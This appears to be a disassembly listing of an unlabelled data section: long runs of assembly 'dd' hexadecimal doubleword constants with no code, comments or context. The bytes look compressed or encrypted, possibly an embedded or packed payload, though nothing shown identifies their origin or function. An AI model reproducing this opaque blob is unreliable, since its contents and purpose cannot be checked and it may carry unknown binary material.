		dd 8CF5005Ah, 6D68100Ah, 87299707h, 0C3800F51h,	3BAF3E9h
		dd 0E5EB14FEh, 5DF82EA0h, 53001BC4h, 86C8E74Ch,	3CC840Fh
		dd 21D2A4D5h, 0C7971A4Ah, 0E068815Eh, 1291F0A1h, 0E74C29B0h
		dd 0B24D0360h, 0D825F477h, 423C3Ah, 0A63D51D5h,	0E4B52EB3h
		dd 39FE601h, 61B88993h,	117FDE4h, 153E3238h, 0E0535E57h
		dd 0E9007505h, 0DA77CA51h, 1F3B1A94h, 80290A52h, 5BDBC2E4h
		dd 537CE080h, 0A17C051Ch, 83390980h, 0B1528h, 480213DFh
		dd 0E4F98108h, 7F27AD0Eh, 176D0038h, 0B79C985h,	0C183031Ch
		dd 240968Eh, 0CD97D2D5h, 0EBF48100h, 51174A24h,	18460FDAh
		dd 0F560F02Ch, 0D6780CBFh, 0AE158203h, 752D709h, 938C9D66h
		dd 4AB590EBh, 0C100ED80h, 0EE030772h, 70FCF0Ch,	8112C216h
		dd 7518F0FAh, 10009EE8h, 31185B9h, 0A08E534Fh, 1CA40BEh
		dd 97F0E983h, 0C401761Ch, 7C0010FAh, 703C70Fh, 8B3034h
		dd 2085D14Ch, 28A0D80Ch, 0F37C0400h, 0C981428Ah, 808703C8h
		dd 0B260889h, 5FF1490h,	87B81C3Fh, 4EA83D0h, 0FCE2ABF0h
		dd 7FE40186h, 15011217h, 11EB6020h, 3CAC0B00h, 7C3A0C6Eh
		dd 0CA96000Eh, 2C2B5F02h, 13010D84h, 4A522A0Bh,	0A7701C0Ah
		dd 4DB8C2h, 4D08B1FEh, 0E1339048h, 9149200h, 31742506h
		dd 47F2Ah, 0A154B0DAh, 0AE802B64h, 1133C800h, 0B2FEC2F7h
		dd 20AC1EE2h, 1F643EBh,	8AB8FAC7h, 72E0A746h, 0C62B0800h
		dd 58EB703Bh, 8806001Eh, 2B64FE8h, 0DE00030Bh, 64455509h
		dd 1FD8963Dh, 7A00733h,	20670AA9h, 3E5A250Bh, 0B0F8BF00h
		dd 2A824D8h, 13760075h,	0C655F378h, 4600FC32h, 8316A008h
		dd 0FE7A23h, 0B02CC74Bh, 0B20994F8h, 13B34503h,	984D665Ch
		dd 7FDC5D3Fh, 418D0067h, 52D12B37h, 873D7FF3h, 0C49CAEC9h
		dd 0FBC5FA00h, 4C7DE9E3h, 7F39B412h, 91925304h,	0C37AC466h
		dd 25F80F47h, 8D00EFA8h, 1157E746h, 822CF4h, 0B979EDD6h
		dd 0D5C6301Eh, 0B5002B79h, 0AA6BE342h, 705AF813h, 0C29A3A73h
		dd 148D0A00h, 0E8D0BCC7h, 350B4600h, 0F82CEF9Eh, 1B00060h
		dd 489C5A59h, 30006BE9h, 7389DFA0h, 2C0239BAh, 0D3C603h
		dd 14095C1h, 990EFE81h,	0A137984Eh, 359AD285h, 0FAC2F4h
		dd 4D2E4C9Bh, 0A5F49009h, 4410BC00h, 1D5C890Dh,	25B0013h
		dd 3AEB1B87h, 431FE369h, 0C3001296h, 0E6BF5A92h, 407F002Ch
		dd 0D4B7C3Ch, 73C3921h,	8283090Ch, 84EF0017h, 1CCD1D33h
		dd 0AE2E4BB3h, 1FC20057h, 0EA7E1180h, 8E099200h, 836252FDh
		dd 0EB210307h, 1441A12Bh, 0B930C8C0h, 84421500h, 7448C51h
		dd 591913CAh, 0A8870EAFh, 78962640h, 6B050969h,	8D41670Eh
		dd 0C7A5FB80h, 0C2FC58F8h, 220D4A03h, 8CE30835h, 468240FFh
		dd 521D7C3Bh, 0D8400712h, 5FE82606h, 297B0099h,	4470119h
		dd 9D030320h, 7449F30Bh, 0C63FC824h, 0E8170781h, 5033ABCFh
		dd 117A842Dh, 0DD0024F6h, 485932C7h, 5EDF6Dh, 3735F56Fh
		dd 4D3E7D82h, 5D218300h, 9D10FE93h, 0C96C0094h,	0F174D4CFh
		dd 6B00E809h, 9833C606h, 8B3E36h, 0D7396C4h, 22075CAh
		dd 73A905Ch, 0BEC6490Ch, 8DCC5EF0h, 2E527FE1h, 1C2FBAAh
		dd 94B60CAh, 2E8FC882h,	8E90A23Bh, 0A03D02F8h, 94167FEFh
		dd 0C46E005Ch, 0AA808254h, 87B75D2h, 0EAC55E03h, 98CDA984h
		dd 0BF1620h, 0BD0B8291h, 0D4E19B80h, 775C5375h,	0B184007Fh
		dd 881F1728h, 4C7E006Ch, 19920B7Bh, 7F1F31D7h, 0EBC38E43h
		dd 90281F42h, 79F4BB74h, 16630026h, 67D10DE4h, 12000E5Fh
		dd 4E4149D8h, 3FF1B95h,	907889Ah, 0F6D87AE9h, 1800EB3Bh
		dd 0A29A448h, 927D83h, 0FD8498C7h, 4538153Dh, 0C400B3FEh
		dd 288C3501h, 7AD9B1D6h, 0F30A024Bh, 4432CEEEh,	4C515160h
		dd 3E66F51Dh, 0B0C0BC1Dh, 5658B61h, 0D33C0074h,	92D60317h
		dd 0EB004D32h, 41F211C1h, 5758Ch, 73D69DAh, 15CAD33h, 4E0E6A00h
		dd 645D4B7Eh, 559500D4h, 172DB68Dh, 0A5000296h,	9908ABE8h
		dd 0E8480AB1h, 0E92A02FCh, 0C9F4D5FAh, 2DE07B62h, 26006920h
		dd 17210231h, 24C3838Eh, 53EEDCh, 2AD2FB28h, 8B00BB05h
		dd 22F581E0h, 0F0B0Ch, 0CD64938Fh, 34C98491h, 79F27D0Fh
		dd 0C6142092h, 2A7C303h, 50014289h, 0F7E075D0h,	0D48212Ah
		dd 2C023FC7h, 0F8009D7Ch, 38CB4A9Eh, 863D039Fh,	768F4420h
		dd 844DB412h, 2E804C1Ch, 611F0D5Eh, 6952005Dh, 0ABBC4AEFh
		dd 0EB0390F2h, 0E8051D21h, 8E14A8CBh, 3BC43DD0h, 7FE18801h
		dd 70294A2Ah, 431654E6h, 41E030Dh, 9298E4C0h, 57861Dh
		dd 0D4B755D3h, 349A9732h, 411A0E00h, 0FF429271h, 73D7B20h
		dd 824B568Bh, 0A85D4026h, 88002449h, 643CA351h,	7522CFAh
		dd 851F8D28h, 0F0671016h, 6A58BDD8h, 0E90400EDh, 999812A0h
		dd 2246009Eh, 97A884F5h, 1E0051F1h, 75F0C3F6h, 4843A40Fh
		dd 69004144h, 98897970h, 4A1F6864h, 80C125C3h, 53A92B5h
		dd 7CED0D8h, 45C50154h,	0AAE9708Bh, 4B00509Ch, 57675D08h
		dd 0E012F7h, 3F32CC95h,	48C3140Ah, 3BC22B1Fh, 0C91456EEh
		dd 990C0389h, 0D89AA5A6h, 0E8E244h, 3D3B24F8h, 2C754248h
		dd 4C3F71E6h, 81808256h, 0C025D4BBh, 57EA2h, 709985E6h
		dd 0DCABA5A4h, 108B8000h, 7402C2F6h, 611C3A4Eh,	7204FA80h
		dd 400B88F4h, 8833700h,	3B29EA01h, 0ADC7078Bh, 0F0B60578h
		dd 0C5065DB4h, 0EC081626h, 51132400h, 459F8Bh, 0D332988Eh
		dd 25C688A2h, 3DA16900h, 0A521A636h, 5E740022h,	75B0295Dh
		dd 0C60BD582h, 0E6ED30h, 10BE1249h, 70E8078Bh, 0D0D7F54Dh
		dd 0F14CB8E1h, 324C500h, 3B01C8C7h, 8C0F02FEh, 0D71C4083h
		dd 0BDB69DC0h, 0F8D33F00h, 0C1387516h, 52905E0h, 0C5675333h
		dd 7DED0087h, 4C8D0F0Eh, 789814F0h, 29C81F00h, 0E9F7216Fh
		dd 82F65Ah, 3F6D833h, 0AA285E02h, 16AD300h, 0A96BD49Eh
		dd 1BD8E1FBh, 3DD008Bh,	415DDE69h, 0E70089FEh, 0F5753E4Ah
		dd 343525h, 0C7A9823Ch,	84AEEADAh, 27674B00h, 7C23DC2Eh
		dd 5453005Eh, 15DB68C2h, 0E00F758h, 28AA18F2h, 6034214h
		dd 0A819C735h, 2C16B050h, 0C1071CD2h, 0B502025h, 4A89F0h
		dd 0E9D70675h, 0CA91DD73h, 5295AA00h, 4D24B1DFh, 0C2960078h
		dd 0E4F57F85h, 3B140697h, 859A81h, 14831F2Bh, 98E0DAh
		dd 932CEBE5h, 3587299Eh, 0D1322400h, 0C3404A0Eh, 485D07C7h
		dd 203A8FD3h, 93E25434h, 0C40029F6h, 2356F72Eh,	0C2421h
		dd 0ABAFD81Ch, 2B7A04A0h, 74F805FAh, 77020900h,	641363E9h
		dd 7EBFA4Ah, 5E5AA719h,	741460B8h, 0FC00F25Dh, 7815D9B9h
		dd 1731C422h, 4E6F25h, 0AB10837Eh, 500C012h, 0EBFC5D89h
		dd 76C364Dh, 330F7F19h,	4881D0F8h, 0C2009FEAh, 0F40662CEh
		dd 7DF04Fh, 84973802h, 1AA811F8h, 9100CBF0h, 5C164BE8h
		dd 0FC0747EBh, 7D890009h, 3821939Ch, 0B8747C25h, 8140BC00h
		dd 1815FF0Ah, 0D7650460h, 80011489h, 54BF84FBh,	52DCB31Fh
		dd 911C21C0h, 90022375h, 850800B5h, 943274C9h, 1800037Ch
		dd 22C88950h
		dd 672042h, 0DA197559h,	0F9D8E924h, 3A50577Eh, 3201528Fh
		dd 0D0061065h, 45DCA6D7h, 983D00E7h, 0AF0E026h,	0AA00040Dh
		dd 5A03AFB0h, 0D105FFh,	0ED808A48h, 0B79BE40h, 4677E800h
		dd 7AF68B81h, 0E9100008h, 0CB0126C3h, 0C903C8CCh, 0CDD0CFD7h
		dd 0D8DB80CEh, 0DAD900CAh, 0EDEDDDCh, 0E100E0DFh, 0E5E405E3h
		dd 505890h, 2EA85152h, 0C584B883h, 5ABC3Eh, 0C031B244h
		dd 154C966h, 428F1E50h,	0DD105180h, 8BD2F80Fh, 110388F8h
		dd 6905489h, 1F91D0C8h,	0C65F00CBh, 3916D7D8h, 770009F7h
		dd 602F7413h, 2A7829h, 0F8A5F33Fh, 3E1831Dh, 18A4D207h
		dd 0E177431h, 7C3AFC30h, 1950000Fh, 1AFD5311h, 6600CB58h
		dd 6941C706h, 728143FCh, 4C4000Ch, 5086092Fh, 0EB391290h
		dd 8A0FFF01h, 0E0D14003h, 0F576203Ch, 3B800007h, 530B7522h
		dd 0CE2017Bh, 0C50558h,	34E6EB02h, 4FE255Fh, 1B1CC7FAh
		dd 88508043h, 62070414h, 84135640h, 0DDD21B1h, 2E58F0D8h
		dd 0ACD2C3h, 8028D818h,	9C7F3D07h, 0CD7C8B00h, 20CE5F61h
		dd 42B700F5h, 14D66A27h, 800EE25h, 0C2F81CCBh, 788977h
		dd 681E34E0h, 2C0B055Dh, 92148D03h, 0C022B050h,	0C88B88h
		dd 3AC677CAh, 0EE1EEB8Eh, 3513F300h, 0DD3DB55Bh, 0B460216h
		dd 0F4E4D268h, 4B0F5040h, 0D5E9EB0Fh, 0CA63209Eh, 1DAF5CE0h
		dd 40F2E80Eh, 73410C72h, 0B7E00F67h, 6BF04500h,	3663CC0h
		dd 0D2F23EEEh, 40401E9Ch, 1F4558Bh, 0F60169D0h,	178A38E8h
		dd 0E0DE1964h, 483C0533h, 0E500384Bh, 8378825Dh, 0DF0108ECh
		dd 589B8EC0h, 6CC85A5Fh, 5B0C001Eh, 2DA31BD9h, 0FD0092A4h
		dd 33285CDFh, 13FA2C16h, 1CA959h, 0AB81C735h, 0D90F078Ah
		dd 67A2BBD6h, 0D0009816h, 381272h, 0E7F77C8h, 88AAD160h
		dd 1470700h, 0DE7AD748h, 2AC80481h, 80F7760Fh, 0E80CEB87h
		dd 0C949B500h, 0A668A64h, 62410068h, 0C131A990h, 0E01F94E9h
		dd 55C02203h, 51082027h, 0F6CE0BF4h, 0B40013EEh, 80A61C26h
		dd 0D9391A03h, 0F84E4575h, 23DB815h, 5A73E1B0h,	92801BCBh
		dd 0C21CE5DBh, 454EDE00h, 0D606EBE2h, 3A1672E6h, 0F0FE5Eh
		dd 8A367403h, 750A3A08h, 54306700h, 1489313h, 9F4A00D3h
		dd 401625B6h, 83780208h, 311AB200h, 0B3B9D7D4h,	107A0138h
		dd 0CF3FDA3h, 80FAB93Dh, 21D64EBh, 903119h, 0CD88BB51h
		dd 10E08650h, 0CD46600h, 83184CB2h, 0ABF33B09h,	86311200h
		dd 24405FAAh, 0F156900h, 8840541h, 89B202C7h, 0E2F70BA2h
		dd 0B04C3AE0h, 1452480Eh, 0CF26403Eh, 99036Fh, 9229D031h
		dd 0F2FB5AB9h, 190DB00h, 96F1F728h, 0F8300048h,	0C7431C17h
		dd 8003BE03h, 0C6057DF6h, 0FA2DE804h, 1F170088h, 0F9018B47h
		dd 0FFE68114h, 844F852Eh, 2307B90Eh, 7B97D929h,	0B0A3000Ah
		dd 8AD20F20h, 12001C44h, 754B2B42h, 0AD41F6h, 51B82318h
		dd 0E9968F82h, 2F9CB300h, 0CC2CAC33h, 94CE1D50h, 0C6634773h
		dd 20190BFh, 1E018A0Ch,	70FB8046h, 0B5CCF8D7h, 2D0E03CEh
		dd 2B0A69ECh, 248166D0h, 0FE78080Eh, 0FD58C061h, 0F30025Ch
		dd 28ACCBE2h, 26844FE1h, 623CC4Ah, 4EB2000h, 0EE347F0Dh
		dd 24C02630h, 392C0093h, 3F28E8F8h, 1C048D0Fh, 0D89BC001h
		dd 1340555h, 0CDFEE675h, 0F8D4E486h, 5905127Ch,	3289F631h
		dd 90461780h, 7703486Ah, 78F07E00h, 0DE29D9EEh,	0FE00EC71h
		dd 0E451C56Eh, 48ACBFBCh, 32008E1Fh, 92DF7430h,	3007261h
		dd 5420A2CAh, 0EA0B7643h, 1F110010h, 4CD07705h,	0BF010AC3h
		dd 565A90C9h, 0D5C05D04h, 1A97DEBh, 0FAFFB150h,	0C0427D2Ah
		dd 70074EDh, 0FE288840h, 7512C9h, 3C1E5AF2h, 6C430253h
		dd 7301FA00h, 90517497h, 8B440035h, 0ECF85442h,	52005D36h
		dd 195A8C68h, 0FE570926h, 0EB84Ah, 0FF1250A9h, 0D32BF03h
		dd 1B48AC04h, 35C0C69Fh, 0BFC5C14h, 8C7C3D74h, 4C08F000h
		dd 2F00B859h, 8304D250h, 2E01F835h, 0CD290Eh, 900B1B22h
		dd 0AC0325FFh, 338B4C79h, 6350E0DBh, 50C741Ah, 1C753E07h
		dd 701D802Ah, 91009225h, 0D41A1B0h, 3F29845h, 161F4C22h
		dd 0A09801B3h, 0F4004028h, 57037B0h, 0B847604Fh, 8D736Fh
		dd 6A6250FCh, 0F6386886h, 653A652Eh, 6BE84700h,	378323Fh
		dd 5511E04Dh, 2DA06168h, 3000FF64h, 1B2089CCh, 0F445C7h
		dd 0EE608691h, 0F808CB50h, 69C52C00h, 0AC8B8954h, 34E683h
		dd 8AEAA267h, 63C41618h, 0E0985200h, 0A16628EFh, 25EC0071h
		dd 97FFC02Ch, 8700F89Fh, 0C33FE283h, 0EFBC20Bh,	9C2A59A3h
		dd 4F53003Ch, 41575446h, 450052E0h, 726F425Ch, 4C3C616Ch
		dd 44003C6Eh, 6870C765h, 5200F169h, 46C04C54h, 550350h
		dd 6B73614Dh, 756CA056h, 94653Dh, 2AE3C38Bh, 12C3AB7h
		dd 60D7C7ACh, 2031D470h, 0E1D8A20h, 0AE408D41h,	93AECFAh
		dd 3FE800D8h, 58C2F748h, 1BEAE913h, 0DE747703h,	90751ED3h
		dd 77BBC36h, 0DC4A76FAh, 0E8075001h, 0AE1E2D37h, 0F6479C45h
		dd 0BE50E975h, 0C6C831h, 0A46B5C54h, 49AC08F3h,	0D3009AB0h
		dd 3C0C141Ch, 2B980Fh, 8F64121Dh, 92780551h, 0E03E307Eh
		dd 19A2004Ah, 2379DDD0h, 0C5942E96h, 0B2DA043Fh, 51318001h
		dd 6C034BFCh, 0ABD7CB02h, 41D8B88Bh, 120FADAh, 65580DDBh
		dd 0E859247Ah, 63020E6Bh, 0B82CE24Ch, 1C1E096h,	5B0D0351h
		dd 706731FEh, 0EBD81BC3h, 0D47539EDh, 8DE1D2Eh,	1C006F2Eh
		dd 3EA6734Ch, 6BE00F6h,	0C827B2Ch, 207F3834h, 75493700h
		dd 0A8E3453Bh, 0C9D90154h, 3981DB10h, 1A9AECD0h, 407578F4h
		dd 4BC3F300h, 57A821B0h, 596A0093h, 38D0684Ch, 0D1C247Dh
		dd 510039D3h, 6602C783h, 0F8AF00F2h, 6459550Ah,	0C3007F8Bh
		dd 290B0358h, 35CF0C8h,	96F7FC47h, 44C0B891h, 1126D480h
		dd 2401303Ch, 1A1C8F53h, 0F69009E8h, 0A5F0217h,	1886C0DEh
		dd 67E8E740h, 58FCA912h, 0D905A300h, 0E1FF5Bh, 0A5089F0Eh
		dd 0E802F061h, 53515200h, 818FF689h, 0F4500084h, 1058E012h
		dd 6E7E6463h, 69911900h, 60F57108h, 0DF2D000Fh,	0CA43B8Eh
		dd 0A0002FBh, 405A595Bh, 91E3FF0h, 2C45FC9Eh, 90C1300h
		dd 22000E74h, 4950811Dh, 23581Eh, 47257531h, 8BF09821h
		dd 0FF131000h, 2895F852h, 0E4090007h, 7FBAAC58h, 0EF00D4A3h
		dd 0E8060EAAh, 0E0759Dh, 43D8012h, 7601E141h, 0C26A1000h
		dd 0DF056B66h, 4FED48FAh, 359C1200h, 0C11C24CCh, 0F516DB2Ch
		dd 6A546200h, 3423D02h,	0A30C92E4h, 99D99808h, 147670D1h
		dd 0A04A200h, 0F09C550h, 0E573008Ch, 8B547FE9h,	77EA064h
		dd 12A45300h, 0C9967C9Eh, 418900F0h, 39800103h,	8A983DE9h
		dd 75EB0A02h, 60BE0F0Ch, 0F898F25h, 539A650h, 647CD7E0h
		dd 0E4001C68h, 6BDDBBE1h, 0EF106EA9h, 8A2F30h, 50280A5Ah
		dd 20A45211h, 8DE2421Eh, 76ABF0C2h, 0BF46E01Eh,	53E31E88h
		dd 0D31C4148h, 0ECF72683h, 8A00DA39h, 12850F16h, 1D814543h
		dd 400EDE38h, 6018508Bh, 74001448h, 0E816FC6Eh,	0A41B5Fh
		dd 0A29E0C4Eh, 840FD283h, 512EF000h, 14B216FFh,	8B2507E6h
		dd 45BC5E9h, 0CE898094h, 1A00EFFAh, 5A37740Eh, 3FE0A5ACh
		dd 76808B08h, 163B2729h, 0B4002077h, 0C2A15051h, 1365AEB3h
		dd 0EE2439h, 0A2BAAEBh,	0CAEE7B30h, 0FBE20C00h,	3B920BBAh
		dd 1EAB1D85h, 50154061h, 828C638h, 59EFFE00h, 74F1513Dh
		dd 48E0006Fh, 53020B04h
		dd 0E202DB31h, 1B1A614Eh, 0A54161E6h, 0FA1EBB60h, 5468005Fh
		dd 0D348D12Fh, 0E8909B29h, 79247C00h, 0B0FF0EE7h, 286D0014h
		dd 8B2606A0h, 300D56Fh,	47C7045Fh, 512D9Fh, 5760F931h
		dd 0E3FF88A7h, 0AD36B907h, 50806F19h, 0E891127h, 4108A890h
		dd 0EBE92A40h, 0B8005EFEh, 2C8A51D4h, 4586EC8h,	26911F74h
		dd 52B28044h, 75001801h, 0EAE90A1Ah, 9E62B9h, 2C444D42h
		dd 2189084Eh, 67017F70h, 718D0559h, 0C5EC3D09h,	0B50600A6h
		dd 0EF16439Eh, 3F005A4Bh, 84F87424h, 48041h, 0E64F3BD8h
		dd 64176775h, 57B5D41Ch, 9CE269C0h, 189093Eh, 610BE842h
		dd 0C48C74CEh, 695CDC7Fh, 0D075002Ch, 4B08C683h, 0F2C000B2h
		dd 0A161A486h, 26031499h, 0FF41C4B8h, 0E992F88Dh, 946D0E1Ch
		dd 2BEE5923h, 449E21A0h, 27482214h, 6CF11E42h, 0F238689h
		dd 56986136h, 0A3E88844h, 1E5BEA30h, 8F92899Ah,	8D20CF86h
		dd 93E8EC53h, 9879105h,	0C4E00463h, 87BE1h, 2480A48Ch
		dd 42C78F54h, 31288500h, 8BDFA3ECh, 2208306Ah, 5684DBDEh
		dd 2489D100h, 28603949h, 54050F5Ah, 53A05755h, 9507C888h
		dd 444E4200h, 52E9F62Fh, 8654008Bh, 6AA0C730h, 83018897h
		dd 0A427BEAh, 0D471B089h, 60EC7931h, 39FD0004h,	1EA80DF0h
		dd 9200A4B5h, 0C9C543EAh, 3BCC031h, 1C0648DFh, 12D85910h
		dd 28001189h, 49A78D6Fh, 473A6Ah, 0C664955Ah, 0C49674B6h
		dd 5442E00h, 0D103E85Dh, 0E2FF00C7h, 4D588038h,	1500CD5Eh
		dd 5034C056h, 0C2BE02h,	4AB80C52h, 3F1FFC5h, 3854491Ch
		dd 86E97282h, 92836048h, 0C0070020h, 5C742C7Fh,	0F018E95h
		dd 57221509h, 20C8052Dh, 0BF8700DDh, 483D1ECFh,	0EB3F4E80h
		dd 84713060h, 83073Fh, 369429E8h, 52E130E7h, 43963D00h
		dd 3814112Ah, 93762Dh, 13462E33h, 0EB24060Fh, 0FDEA3A1Dh
		dd 502F18C0h, 77E968Ch,	0B02C1D26h, 1E2A40C8h, 781C3DC9h
		dd 229DCD7Ch, 6567CF0Fh, 87C71A21h, 0CE471627h,	0D8871267h
		dd 0DAC70EA7h, 0D9E70AE7h, 0CAC406E0h, 16272EFCh, 8D900536h
		dd 808E1D8Bh, 6C01E3E8h, 400C25Dh, 0F3942467h, 402993h
		dd 2690F1FAh, 7074503Dh, 0CE00A27Bh, 99CB9238h,	1D90836h
		dd 72F65232h, 0EC3B8189h, 300053D0h, 1817438Fh,	12381D74h
		dd 0BCFB82h, 0B1D889ABh, 0B600EF84h, 4BFA4419h,	74E1Fh
		dd 46A3120Dh, 945C3749h, 0D9B8850Fh, 14510204h,	6DBB878Ah
		dd 124F60F0h, 0AA090752h, 505B290Ah, 94ED2677h,	68F6E300h
		dd 0A005F8F5h, 0D81A01B5h, 0BAC804Ah, 0C8B63047h, 38657502h
		dd 0C02E536Ch, 7F9836Eh, 39A174FFh, 9DF5F001h, 0A4008922h
		dd 68A2E984h, 0D49CBFh,	3E434B93h, 57E148C2h, 70E80C00h
		dd 0E9A79504h, 505800BEh, 7E1DDB85h, 0F0004B12h, 4DE4433h
		dd 9749D4h, 7F24D031h, 0C4BA3DEEh, 0B214EB00h, 73E809BDh
		dd 0A96C0023h, 0B4DF9A3h, 3CFE5F3Eh, 0A1856000h, 0CFDFE8A4h
		dd 30C3034Bh, 78A2DB33h, 341E5E90h, 3B121400h, 1A057EF3h
		dd 0C1DF0004h, 49A81D3Eh, 28EEB127h, 4AEC7F00h,	1151E360h
		dd 9CBE00BAh, 0C47D8D04h, 0A790E9B9h, 8FA5F301h, 2164BC05h
		dd 1429B20h, 10B02D89h,	0EF84B41Dh, 1508A4F8h, 8D87AC00h
		dd 0DF5C44Dh, 9377D17h,	0FC7D8397h, 35B5A100h, 6792008h
		dd 0C92BE803h, 880C45FAh, 1CC0A240h, 4359481Dh,	0C4151BB8h
		dd 0FF03E990h, 2F967100h, 2836156h, 417E1D05h, 3D2580EEh
		dd 7594C81Ch, 0C6180D1Fh, 1132481h, 26F95AD9h, 4CBB20h
		dd 0CB222C48h, 95D3E834h, 0A345C501h, 18247444h, 3C9F30h
		dd 160646B2h, 6B202778h, 0F5B93805h, 2080EE93h,	14E1C3Ch
		dd 124A892h, 0E832A9C8h, 0EC0E040Ch, 0C1D210ACh, 0BBBF30C7h
		dd 0E6803CB9h, 115ABE5Ch, 13001280h, 0F294834Bh, 383C22h
		dd 334AE877h, 30BB354h,	0D0299200h, 595C44BBh, 1B98FFh
		dd 0E68A0FE2h, 57C01750h, 63E8C102h, 80B4ED9Ah,	46EA32E3h
		dd 23F011h, 77FF0C1Dh, 0F820061Ch, 3E933700h, 5D2656A4h
		dd 73870015h, 19D8F70Fh, 0C9074045h, 32BBB684h,	3885609Eh
		dd 1806BEh, 250B34BFh, 0CE587B80h, 83161C0Fh, 0BEE0203Fh
		dd 5F8917h, 6F3787D0h, 0FBC2E803h, 75231200h, 381A08EFh
		dd 47743E40h, 25581383h, 0EC88A34h, 0BA001685h,	0B88C4228h
		dd 1FA27214h, 803E8FAFh, 0EB0B12ACh, 0CF01C62h,	75226000h
		dd 6ECF7013h, 0B4150048h, 0E186926h, 0F212163Eh, 0D60029ADh
		dd 0A750204h, 0F64C28BEh, 268907FEh, 0F0080C43h, 7622012Bh
		dd 503EB2F8h, 0AA18005Fh, 6DFBE8C0h, 192E1F37h,	3B0079FDh
		dd 587404CCh, 22007F06h, 0A64BEAEBh, 75482Dh, 285314C2h
		dd 0C01292B7h, 980D1500h, 0A03B831Ah, 66F0041h,	8BCBC660h
		dd 560003C1h, 0FB6C097Bh, 7A5E0438h, 508C00EBh,	6974726Fh
		dd 73036EA0h, 3D437920h, 3FFAA070h, 7A680067h, 2963281Fh
		dd 39003181h, 0D32C3338h, 1CCCBAFh, 3718B76Dh, 60918990h
		dd 9707E9FBh, 238FF5ADh, 0B75C7C90h, 8B8400E3h,	1C2ED110h
		dd 5138C2C7h, 0F84A072Dh, 0F0D07C49h, 0EFF6Ah, 8D5007CBh
		dd 57E8D242h, 6B0068F8h, 60C47858h, 2C8BD618h, 275513h
		dd 0EC80342h, 29E40865h, 4EEAB000h, 6CA3DAFCh, 24510030h
		dd 1A7F4145h, 1700F5B4h, 93750542h, 0FAFE227h, 13481864h
		dd 0F65A00DFh, 0B78C97EBh, 0A1876E00h, 4C4B147Ch, 21440095h
		dd 2A7E150Ah, 203B3BF9h, 501C0054h, 95F8375h, 10180026h
		dd 895A081Fh, 6FF4FC97h, 1768F803h, 0F86B04C6h,	38BA546h
		dd 25C0E390h, 0F8E1C1D6h, 0FEF9E458h, 96BCC700h, 7A980914h
		dd 95F00053h, 3277E45Ch, 0F0026CFh, 0EC96573Bh,	0F38597h
		dd 0D9F1D3F8h, 0B35EEAF2h, 97F8F00h, 8223C74Ah,	816700EBh
		dd 8B7854FBh, 64002C7Dh, 9708E0BEh, 40CFC90h, 55532850h
		dd 7B40C010h, 0A90086F1h, 0D7E27B8h, 0C70441h, 323ACEE9h
		dd 0ECD93306h, 6098B57Bh, 0C5204401h, 16225498h, 293160h
		dd 80CA4607h, 0C09CB8B4h, 89145200h, 95D1B9E2h,	175B032Ch
		dd 41151268h, 3A522198h, 83D50A3Dh, 1945132Fh, 0FD02C0E2h
		dd 0E03E60Bh, 695E3A62h, 0ECE8EB01h, 1CF1306Ah,	295AD100h
		dd 2712E5E4h, 41240065h, 66522D30h, 620C9B3Bh, 70340A20h
		dd 82C30E0Dh, 6AF280Eh,	0EB081941h, 496892E4h, 763A8A00h
		dd 7621D725h, 3C901FC2h, 4252C38Ah, 57C0014Ah, 891D5150h
		dd 0F20720D7h, 3B0AE5Ch, 158D1F7h, 5F9AC101h, 70A41992h
		dd 0CB03ACB0h, 0EA0F7061h, 0F234D8FEh, 8B770103h, 35C9FC7Bh
		dd 0DC8E43Fh, 0E2840F00h, 8A2734FDh, 798B000Eh,	85B97EFCh
		dd 391EFA01h, 77EC02CEh, 7A4A2C00h, 4E0E41h, 2413269Ah
		dd 0F5A48F46h, 6217AA00h, 83AB42F7h, 0AF3D07D0h, 91618828h
		dd 213BA044h, 517460AFh, 68BC0800h, 0F9233450h,	0E94F00C0h
		dd 0ED42933h, 0D3003958h, 250CE16h, 3FC5Fh, 49756E46h
		dd 0D809DFC7h, 0B34B8B00h, 0A2FAF277h, 53030063h, 0A5580F91h
		dd 5C004320h, 0F84F33F7h, 48A48CFEh, 0CA000271h, 0E6A0BE9h
		dd 5400AE51h, 0A650528Dh, 8BED40h, 104F944Ch, 41112FD7h
		dd 714AFC00h, 305A56CFh, 8BC60007h, 6F149C44h, 0B800F5D3h
		dd 5501D834h, 0D054CEh,	7E2AE975h, 0ACC8EF82h, 5AC44A00h
		dd 248D5801h, 0E0FD0094h, 3E6CD92Ah, 3900F145h,	8FC709D0h
		dd 3EA5CB29h, 8200687Fh
		dd 0AE1C8B6Bh, 0C05857DCh, 277007Ch, 5213C201h,	0B4EA00C1h
		dd 1FE40E4Fh, 4A145888h, 2C954E89h, 4003A310h, 0E0E6C7C6h
		dd 7F786h, 0FE5A6FBEh, 2C2250E0h, 41813800h, 34761702h
		dd 0E3A1E18h, 0E3678410h, 0CA7DC0B8h, 300006E1h, 0C0012773h
		dd 7F23EB2Ah, 0D4FA61h,	151307D6h, 0CF62B25Ah, 0A4D0E301h
		dd 2A590ACh, 1F850D8h, 0B078C442h, 60119743h, 8001DB44h
		dd 0FB3AF9B8h, 2822C77h, 0FA34A86h, 390225D0h, 13A424DBh
		dd 9D4AC190h, 0C51FD868h, 80CC1EE7h, 36D0895Bh,	7E008BF8h
		dd 0FC58252Dh, 70261BC0h, 27C754Ah, 1F7DDA39h, 5068D329h
		dd 9E000519h, 0F416117Fh, 6394C9h, 313A7D25h, 89E50AD2h
		dd 2A93D900h, 126CB113h, 9ED50F5Bh, 1FF6BC8Bh, 0C0575F87h
		dd 0FC304086h, 7C004E3Fh, 7D123D4Ch, 430126h, 0F129227Eh
		dd 2D9CFE9h, 3F42BC3Eh,	8DF200F9h, 7F4D3A04h, 52FB0724h
		dd 10FAF0A1h, 0DF4C4762h, 4087A900h, 70317992h,	4F8B0088h
		dd 8334F1FCh, 7803044Ah, 46068A1Bh, 147ED9C1h, 10D5F4h
		dd 3BCB8937h, 15A6F3C3h, 0C746000h, 5AEC128Ah, 57FF051Dh
		dd 0C0415E08h, 273AF875h, 6A985100h, 0FF314390h, 489B0028h
		dd 23AFC2FCh, 0E0007883h, 0EC1D756Fh, 0F92A09E8h, 1C87A1FBh
		dd 0A5F884F5h, 8B75003Ah, 701A40EEh, 0AE0790FCh, 28DC3050h
		dd 949B0C60h, 0C93207AAh, 0B021FAD2h, 477CF139h, 9D4BB600h
		dd 4502C80h, 0B86F75E9h, 0D43400B4h, 455DB2CAh,	0C81D30DBh
		dd 0F31EF729h, 593D4080h, 0DA8906h, 1347E95Bh, 9C36C34Ah
		dd 83A8B83Fh, 1E0EC81h,	0E2FAE0A3h, 41B5007Ch, 903C37E8h
